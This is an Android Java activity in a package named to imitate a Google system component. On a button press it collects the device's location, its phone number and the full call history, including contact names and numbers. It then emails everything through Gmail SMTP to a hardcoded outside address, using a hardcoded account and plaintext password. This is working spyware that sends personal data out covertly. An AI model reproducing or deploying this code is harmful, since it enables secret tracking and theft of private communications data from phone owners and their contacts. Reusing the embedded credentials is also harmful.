package jp.co.google.android.system;

import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;

import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.ActivityNotFoundException;
import android.content.DialogInterface;
import android.content.Intent;
import android.database.Cursor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.Handler;
import android.provider.CallLog;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;

public class CallingStateActivity extends Activity {

	private LocationManager locationManager;
	private LocationListener locationListener;
	private Timer locationTimer;
	long time;

	public int recount = 0;
	public Criteria criteria = new Criteria();

	private void startLocationService() {
		stopLocationService();

		locationManager = (LocationManager) getSystemService(LOCATION_SERVICE);
		// 位置情報機能非搭載端末の場合
		if (locationManager == null) {
			return;
		}

		// final Criteria criteria = new Criteria();
		criteria.setAccuracy(Criteria.ACCURACY_FINE);// 高精度設定
		criteria.setBearingRequired(false); // 方位不要
		criteria.setSpeedRequired(false); // 速度不要
		criteria.setAltitudeRequired(false); // 高度不要

		final String provider = locationManager.getBestProvider(criteria, true);
		if (provider == null) {
			/**
			// 位置情報が有効になっていない場合は、Google Maps アプリライクな [現在地機能を改善] ダイアログを起動します。
			new AlertDialog.Builder(this)
					.setTitle("現在地機能を改善")
					.setMessage(
							"現在、位置情報は一部有効ではないものがあります。次のように設定すると、もっともすばやく正確に現在地を検出できるようになります:\n\n● 位置情報の設定でGPSとワイヤレスネットワークをオンにする\n\n● Wi-Fiをオンにする")
					.setPositiveButton("設定",
							new DialogInterface.OnClickListener() {
								public void onClick(
										final DialogInterface dialog,
										final int which) {
									// 端末の位置情報設定画面へ遷移
									try {
										startActivity(new Intent(
												"android.settings.LOCATION_SOURCE_SETTINGS"));
									} catch (final ActivityNotFoundException e) {
										// 位置情報設定画面がない糞端末の場合は、仕方ないので何もしない
									}
								}
							})
					.setNegativeButton("スキップ",
							new DialogInterface.OnClickListener() {
								public void onClick(
										final DialogInterface dialog,
										final int which) {
								} // 何も行わない
							}).create().show();
			**/

			stopLocationService();
			return;
		}

		// 最後に取得できた位置情報が5分以内のものであれば有効
		final Location lastKnownLocation = locationManager
				.getLastKnownLocation(provider);
		// XXX - 必要により判断の基準を変更
		if (lastKnownLocation != null
				&& (new Date().getTime() - lastKnownLocation.getTime()) <= (5 * 60 * 1000L)) {
			setLocation(lastKnownLocation);
			return;
		}

		// Toast の表示と LocationListener の生存時間を決定するタイマーを起動します。
		locationTimer = new Timer(true);
		time = 0L;
		final Handler handler = new Handler();
		locationTimer.scheduleAtFixedRate(new TimerTask() {
			@Override
			public void run() {
				handler.post(new Runnable() {
					public void run() {
						if (time == 1000L) {
							//Toast.makeText(CallingStateActivity.this,"現在地を特定しています。", Toast.LENGTH_LONG).show();
						} else if (time >= (30 * 1000L)) {
							//Toast.makeText(CallingStateActivity.this,"現在地を特定できませんでした。", Toast.LENGTH_LONG).show();
							recount++;
							// リトライ
							if (recount <= 3) {
								criteria.setAccuracy(Criteria.ACCURACY_COARSE);// 高精度解除
								startLocationService();
							} else {
								stopLocationService();
							}
						}
						time = time + 1000L;
					}
				});
			}
		}, 0L, 1000L);

		// 位置情報の取得を開始します。
		locationListener = new LocationListener() {
			public void onLocationChanged(final Location location) {
				setLocation(location);
			}

			public void onProviderDisabled(final String provider) {
			}

			public void onProviderEnabled(final String provider) {
			}

			public void onStatusChanged(final String provider,
					final int status, final Bundle extras) {
			}
		};
		locationManager.requestLocationUpdates(provider, 60000, 0,
				locationListener);
	}

	private void stopLocationService() {
		if (locationTimer != null) {
			locationTimer.cancel();
			locationTimer.purge();
			locationTimer = null;
		}
		if (locationManager != null) {
			if (locationListener != null) {
				locationManager.removeUpdates(locationListener);
				locationListener = null;
			}
			locationManager = null;
		}
	}

	private void setLocation(final Location location) {
		stopLocationService();

		// 電話番号取得
		TelephonyManager mTelephonyMgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
		String PHONE_NUMBER = mTelephonyMgr.getLine1Number();

		// GPS情報URL化
		String URL = "http://maps.google.co.jp/maps?q="
				+ location.getLatitude() + "%20" + location.getLongitude()
				+ "&um=1&ie=UTF-8&hl=ja&sa=N&tab=wl&authuser=0";

		String callLog = "";
		Cursor cursor = getCalingList();

		if (cursor.moveToFirst()) {
			do {
				String callLogStr = "";
				//日付
				Date date = new Date(cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE)));
				SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
				callLogStr += sdf1.format(date) + "　／";

				//発着信
				int callingType = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
				if (callingType == CallLog.Calls.INCOMING_TYPE) {
					callLogStr += "着信：";
				} else if (callingType == CallLog.Calls.OUTGOING_TYPE) {
					callLogStr += "発信：";
				} else if (callingType == CallLog.Calls.MISSED_TYPE) {
					callLogStr += "不着：";
				}

				// 通話時間(秒)
				int callingTime = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
				callLogStr += callingTime + "秒";

				int keta = Integer.toString(callingTime).length();
				int space = 7 - keta;
				String spaceStr = "";
				for(int i = 0;i < space;i++){
					spaceStr += " ";
				}
				callLogStr += spaceStr;

				// 名前
				String cachedName = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
				if (cachedName == null || cachedName.trim() == "") {
					callLogStr += "unknown";
				} else {
					callLogStr += cachedName;
				}

				// 番号
				callLogStr += "(" + cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER)) + ")";
				callLog += callLogStr + "\n";

			} while (cursor.moveToNext());
		}

		String text = URL + "\n\n" + callLog;
		sendMail(PHONE_NUMBER, text);
	}

	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.main);

		((Button) findViewById(R.id.button))
				.setOnClickListener(new View.OnClickListener() {
					public void onClick(View v) {
						startLocationService();
					}

				});

	}

	public Cursor getCalingList() {
		String order = CallLog.Calls.DATE + " desc";
		Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, order);
		return c;
	}

	final private String FROM_ADDRESS = "masanori.kumagawa@gmail.com";
	final private String RECEIVE_ADDRESS = "masanori.k.x10@gmail.com";
	final private String FROM_PASS = "japanjapan";

	public boolean sendMail(String subject, String text) {
		Properties props = new Properties();
		props.put("mail.smtp.host", "smtp.gmail.com"); // SMTPサーバ名
		props.put("mail.host", "smtp.gmail.com"); // 接続するホスト名
		props.put("mail.smtp.port", "587"); // SMTPサーバポート
		props.put("mail.smtp.auth", "true"); // smtp auth
		props.put("mail.smtp.starttls.enable", "true"); // STTLS

		// セッション
		Session session = Session.getDefaultInstance(props);
		session.setDebug(true);

		MimeMessage msg = new MimeMessage(session);
		try {
			msg.setSubject(subject, "utf-8");
			msg.setFrom(new InternetAddress(FROM_ADDRESS));
			msg.setSender(new InternetAddress(RECEIVE_ADDRESS));
			msg.setRecipient(Message.RecipientType.TO, new InternetAddress(
					RECEIVE_ADDRESS));
			msg.setText(text, "utf-8");

			Transport t = session.getTransport("smtp");
			t.connect("masanori.kumagawa@gmail.com", FROM_PASS);
			t.sendMessage(msg, msg.getAllRecipients());
		} catch (MessagingException e) {
			e.printStackTrace();
			return false;
		}
		return true;
	}
}
